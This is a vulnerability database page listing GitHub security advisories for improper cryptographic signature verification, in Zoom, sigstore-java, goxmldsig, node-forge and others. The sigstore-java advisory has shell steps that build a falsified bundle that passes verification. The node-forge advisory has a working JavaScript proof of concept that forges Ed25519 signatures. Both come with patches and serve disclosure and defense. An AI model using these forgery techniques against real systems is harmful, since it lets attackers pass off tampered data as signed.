CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1120 vulnerabilities reference this CWE, most recent first.
GHSA-PXVH-PHH5-PGF4
Vulnerability from github – Published: 2022-05-17 00:16 – Updated: 2022-05-17 00:16Huawei APP HiWallet earlier than 5.0.3.100 versions do not support signature verification for APK file. An attacker could exploit this vulnerability to hijack the APK and upload modified APK file. Successful exploit could lead to the APP is hijacking.
{
"affected": [],
"aliases": [
"CVE-2017-8177"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-22T19:29:00Z",
"severity": "MODERATE"
},
"details": "Huawei APP HiWallet earlier than 5.0.3.100 versions do not support signature verification for APK file. An attacker could exploit this vulnerability to hijack the APK and upload modified APK file. Successful exploit could lead to the APP is hijacking.",
"id": "GHSA-pxvh-phh5-pgf4",
"modified": "2022-05-17T00:16:40Z",
"published": "2022-05-17T00:16:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8177"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20170816-01-app-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q3F4-9H4P-VGR3
Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-29 10:09The secp256k1-js package before 1.1.0 for Node.js implements ECDSA without required r and s validation, leading to signature forgery.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@lionello/secp256k1-js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41340"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-27T22:34:59Z",
"nvd_published_at": "2022-09-24T19:15:00Z",
"severity": "HIGH"
},
"details": "The secp256k1-js package before 1.1.0 for Node.js implements ECDSA without required r and s validation, leading to signature forgery.",
"id": "GHSA-q3f4-9h4p-vgr3",
"modified": "2022-09-29T10:09:03Z",
"published": "2022-09-25T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41340"
},
{
"type": "WEB",
"url": "https://github.com/lionello/secp256k1-js/issues/11"
},
{
"type": "WEB",
"url": "https://github.com/lionello/secp256k1-js/commit/302800f0370b42e360a33774bb808274ac729c2e"
},
{
"type": "PACKAGE",
"url": "https://github.com/lionello/secp256k1-js"
},
{
"type": "WEB",
"url": "https://github.com/lionello/secp256k1-js/compare/1.0.1...1.1.0"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@lionello/secp256k1-js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "secp256k1-js implements ECDSA without required r and s validation, leading to signature forgery"
}
GHSA-Q3JM-V27Q-JFWW
Vulnerability from github – Published: 2024-05-30 13:41 – Updated: 2024-05-30 13:41titon/framework package (which is now abandoned and no longer maintained) is vulnerable to remote code execution via Chosen-Ciphertext Attack.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "titon/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.0-alpha"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-30T13:41:36Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "titon/framework package (which is now abandoned and no longer maintained) is vulnerable to remote code execution via Chosen-Ciphertext Attack.",
"id": "GHSA-q3jm-v27q-jfww",
"modified": "2024-05-30T13:41:36Z",
"published": "2024-05-30T13:41:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/titon/framework/issues/93"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/titon/framework/2017-11-20.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/titon/framework"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "titon/framework vulnerable to Remote Code Execution via Chosen-Ciphertext Attack"
}
GHSA-Q3R7-W45X-PHVH
Vulnerability from github – Published: 2022-08-18 00:00 – Updated: 2022-08-20 00:00The Zoom Client for Meetings for MacOS (Standard and for IT Admin) before version 5.11.3 contains a vulnerability in the package signature validation during the update process. A local low-privileged user could exploit this vulnerability to escalate their privileges to root.
{
"affected": [],
"aliases": [
"CVE-2022-28751"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-17T22:15:00Z",
"severity": "HIGH"
},
"details": "The Zoom Client for Meetings for MacOS (Standard and for IT Admin) before version 5.11.3 contains a vulnerability in the package signature validation during the update process. A local low-privileged user could exploit this vulnerability to escalate their privileges to root.",
"id": "GHSA-q3r7-w45x-phvh",
"modified": "2022-08-20T00:00:58Z",
"published": "2022-08-18T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28751"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q4XM-6FJC-5F6W
Vulnerability from github – Published: 2024-11-26 16:38 – Updated: 2024-12-09 17:00Summary
sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log
Impact
This bug impacts clients using any variation of KeylessVerifier.verify()
The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged.
This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.
The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.
sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.
Steps To Reproduce
Build the java sigstore-cli at v1.0.0
git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java
cd sigstore-java
./gradlew :sigstore-cli:build
tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1
Create two random blobs
dd bs=1 count=50 </dev/urandom > blob1
dd bs=1 count=50 </dev/urandom > blob2
Sign each blob using the cli
./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1
./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2
Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle
jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json
Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.
cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'
sha256sum blob1 blob2
Verify the bundle against blob1
./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1
# no errors???!
Patches
Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166
Workarounds
- Verifiers can recreate the log entry and compare it to the provided log entry.
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);
var rekorEntry = bundle.getEntries().get(0);
var calculatedHashedRekord =
Base64.toBase64String(
HashedRekordRequest.newHashedRekordRequest(
artifactDigest,
Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),
bundle.getMessageSignature().get().getSignature())
.toJsonPayload()
.getBytes(StandardCharsets.UTF_8));
if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {
throw new Exception("Provided verification materials are inconsistent with log entry");
}
- Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();
var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();
var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);
var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());
RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "dev.sigstore:sigstore-java"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0"
]
}
],
"aliases": [
"CVE-2024-53267"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-26T16:38:18Z",
"nvd_published_at": "2024-11-26T19:15:30Z",
"severity": "MODERATE"
},
"details": "### Summary\nsigstore-java has insufficient verification for a situation where a validly-signed but \"mismatched\" bundle is presented as proof of inclusion into a transparency log\n\n### Impact\n\nThis bug impacts clients using any variation of KeylessVerifier.verify()\n\nThe verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby \"verifying\" a bundle without any proof the signing event was logged.\n\nThis allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor\u0027s log monitors.\n\nThe signer\u0027s identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.\n\nsigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.\n\n### Steps To Reproduce\n\nBuild the java sigstore-cli at v1.0.0\n```shell\ngit clone --branch v1.0.0 git@github.com:sigstore/sigstore-java\ncd sigstore-java\n./gradlew :sigstore-cli:build\ntar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1\n```\n\nCreate two random blobs\n```shell\ndd bs=1 count=50 \u003c/dev/urandom \u003e blob1\ndd bs=1 count=50 \u003c/dev/urandom \u003e blob2\n```\n\nSign each blob using the cli\n```shell\n./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1\n./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2\n```\n\nCreate a falsified bundle including the base64Signature and cert fields from blob1\u0027s bundle and the rekorBundle from blob2\u0027s bundle\n```shell\njq --slurpfile bundle2 blob2.sigstore.json \u0027.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries\u0027 blob1.sigstore.json \u003e invalidBundle.sigstore.json\n```\n\nFind the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.\n```shell\ncat invalidBundle.sigstore.json | jq -r \u0027.verificationMaterial.tlogEntries[0].canonicalizedBody\u0027 | base64 -d | jq -r \u0027.spec.data.hash.value\u0027\n\nsha256sum blob1 blob2\n```\n\nVerify the bundle against blob1\n```shell\n./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1\n# no errors???!\n```\n\n### Patches\nPatched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856\nAdded conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166\n\n### Workarounds\n1. Verifiers can recreate the log entry and compare it to the provided log entry.\n```\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);\nvar rekorEntry = bundle.getEntries().get(0);\nvar calculatedHashedRekord =\n Base64.toBase64String(\n HashedRekordRequest.newHashedRekordRequest(\n artifactDigest,\n Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),\n bundle.getMessageSignature().get().getSignature())\n .toJsonPayload()\n .getBytes(StandardCharsets.UTF_8));\nif (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {\n throw new Exception(\"Provided verification materials are inconsistent with log entry\");\n}\n```\n2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log\n```java\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF);\nvar artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();\nvar sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();\nvar trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);\nvar entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());\nRekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);\n```\n",
"id": "GHSA-q4xm-6fjc-5f6w",
"modified": "2024-12-09T17:00:45Z",
"published": "2024-11-26T16:38:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-java/security/advisories/GHSA-q4xm-6fjc-5f6w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53267"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-conformance/pull/166"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-java/pull/856"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/sigstore-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "sigstore-java has vulnerability with bundle verification"
}
GHSA-Q547-GMF8-8JR7
Vulnerability from github – Published: 2021-05-24 16:57 – Updated: 2023-08-29 23:34Impact
With a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one.
Patches
A patch is available, all users of goxmldsig should upgrade to v1.1.0.
For more information
If you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/russellhaering/goxmldsig"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-15216"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-24T12:54:31Z",
"nvd_published_at": "2020-09-29T16:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nWith a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one. \n\n### Patches\nA patch is available, all users of goxmldsig should upgrade to v1.1.0.\n\n### For more information\nIf you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig",
"id": "GHSA-q547-gmf8-8jr7",
"modified": "2023-08-29T23:34:28Z",
"published": "2021-05-24T16:57:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15216"
},
{
"type": "WEB",
"url": "https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GUH33FPUXED3FHYL25BJOQPRKFGPOMS2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZECBFD4M4PHBMBOCMSQ537NOU37QOVWP"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/github.com/russellhaering/goxmldsig?tab=overview"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2020-0050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass"
}
GHSA-Q67F-28XG-22RW
Vulnerability from github – Published: 2026-03-26 22:04 – Updated: 2026-03-27 21:51Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions:
- Default forge Ed25519 verify API path (ed25519.verify(...)).
Root Cause
In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
poc.js) withnode poc.jsin the same level as theforgefolder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (
crypto.verify). - Confirm output includes:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
Proof of Concept
Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
poc.js
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
return -1;
}
+ if(!_isCanonicalSignatureScalar(sm, 32)) {
+ return -1;
+ }
+
for(i = 0; i < n; ++i) {
m[i] = sm[i];
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
return mlen;
}
+function _isCanonicalSignatureScalar(bytes, offset) {
+ var i;
+ // Compare little-endian scalar S against group order L and require S < L.
+ for(i = 31; i >= 0; --i) {
+ if(bytes[offset + i] < L[i]) {
+ return true;
+ }
+ if(bytes[offset + i] > L[i]) {
+ return false;
+ }
+ }
+ // S == L is non-canonical.
+ return false;
+}
+
function modL(r, x) {
var carry, i, j, k;
for(i = 63; i >= 32; --i) {
Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
-
Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33895"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:04:41Z",
"nvd_published_at": "2026-03-27T21:17:26Z",
"severity": "HIGH"
},
"details": "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature\u0027s last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n \"forge\": {\n \"original_valid\": true,\n \"tweaked_valid\": true\n },\n \"crypto\": {\n \"original_valid\": true,\n \"tweaked_valid\": false\n }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge\u0027);\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from(\u0027dderpym is the coolest man alive!\u0027);\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n throw new Error(\u0027signature must be a 64-byte Buffer\u0027);\n }\n const out = Buffer.from(signature);\n let carry = 0;\n for (let i = 0; i \u003c 32; i++) {\n const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n out[idx] = sum \u0026 0xff;\n carry = sum \u003e\u003e 8;\n }\n return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n if (publicKeyBytes.length !== 32) {\n throw new Error(\u0027publicKeyBytes must be 32 bytes\u0027);\n }\n // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n const b64 = spki.toString(\u0027base64\u0027).match(/.{1,64}/g).join(\u0027\\n\u0027);\n return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n try {\n const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n const ok = crypto.verify(null, message, keyObject, signature);\n return { ok };\n } catch (error) {\n return { ok: false, error: error.message };\n }\n}\n\nfunction toResult(label, original, tweaked) {\n return {\n [label]: {\n original_valid: original.ok,\n tweaked_valid: tweaked.ok,\n },\n };\n}\n\nfunction main() {\n const kp = ed.generateKeyPair();\n const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n const tweaked = addLToS(sig);\n const okTweaked = ed.verify({\n message: MESSAGE,\n signature: tweaked.sig,\n publicKey: kp.publicKey,\n });\n const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n const result = {\n ...toResult(\u0027forge\u0027, { ok }, { ok: okTweaked }),\n ...toResult(\u0027crypto\u0027, cryptoOriginal, cryptoTweaked),\n };\n console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n return -1;\n }\n\n+ if(!_isCanonicalSignatureScalar(sm, 32)) {\n+ return -1;\n+ 